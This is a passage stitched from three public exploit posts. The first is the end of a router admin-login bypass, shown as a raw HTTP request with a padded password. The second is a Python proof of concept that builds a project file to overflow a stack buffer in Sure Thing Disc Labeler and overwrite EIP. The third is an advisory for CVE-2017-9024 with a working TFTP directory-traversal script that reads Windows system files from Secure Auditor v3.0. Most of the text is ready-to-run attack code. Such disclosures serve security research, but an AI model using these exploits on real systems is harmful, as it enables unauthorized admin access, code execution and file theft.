User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/login.htm
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

username=Admin&password=+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&submit.htm%3Flogin.htm=Send


--------------------END here------------------------

Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.




-------------------Greetz----------------
TheTouron(www.thetouron.in), Ronit Yadav
-----------------------------------------
            
# Exploit Title: Sure Thing Disc Labeler - Stack Buffer Overflow (PoC)
# Date: 5-19-17
# Exploit Author: Chance Johnson  (albatross@loftwing.net)
# Vendor Homepage: http://www.surething.com/
# Software Link: http://www.surething.com/disclabeler
# Version: 6.2.138.0
# Tested on: Windows 7 x64 / Windows 10
#
# Usage: 
#    Open the project template generated by this script.
#    If a readable address is placed in AVread, no exception will be thrown
#    and a return pointer will be overwritten giving control over EIP when
#    the function returns.

header  = '\x4D\x56\x00\xFF\x0C\x00\x12\x00\x32\x41\x61\x33\x08\x00\x5E\x00'
header += '\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62'
header += '\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35'
header += '\x41\x62\x36\x41\x78\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41'
header += '\x0C\x00\x41\x63\x78\x1F\x00\x00\x41\x63\x34\x41\x63\x35\x41\x63'

junk1  =   'D'*10968
EIP    =   'A'*4            # Direct RET overwrite
junk2  =   'D'*24
AVread =   'B'*4  			# address of any readable memory
junk3  =   'D'*105693

buf = header + junk1 + EIP + junk2 + AVread + junk3

print "[+] Creating file with %d bytes..." % len(buf)

f=open("exp.std",'wb')
f.write(buf)
f.close()
            
[+] Credits: John Page aka HYP3RLINX	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt
[+] ISR: ApparitionSec            
 


Vendor:
====================
www.secure-bytes.com



Product:
=====================
Secure Auditor - v3.0

Secure Auditor suite is a unified digital risk management solution for conducting automated audits on Windows, Oracle and SQL databases
and Cisco devices.



Vulnerability Type:
===================
Directory Traversal



CVE Reference:
==============
CVE-2017-9024



Security Issue:
================
Secure Bytes Cisco Configuration Manager, as bundled in Secure Bytes Secure Cisco Auditor (SCA) 3.0, has a
Directory Traversal issue in its TFTP Server, allowing attackers to read arbitrary files via ../ sequences in a pathname.




Exploit/POC:
=============
import sys,socket

print 'Secure Auditor v3.0 / Cisco Config Manager'
print 'TFTP Directory Traversal Exploit'
print 'Read ../../../../Windows/system.ini POC'
print 'hyp3rlinx'

HOST = raw_input("[IP]> ")
FILE = '../../../../Windows/system.ini' 
PORT = 69                                        
 
PAYLOAD = "\x00\x01"                #TFTP Read 
PAYLOAD += FILE+"\x00"              #Read system.ini using directory traversal
PAYLOAD += "netascii\x00"           #TFTP Type
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()

print "Victim Data located on : %s " %(HOST)
print out.strip()



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification: May 10, 2017
No replies
May 20, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx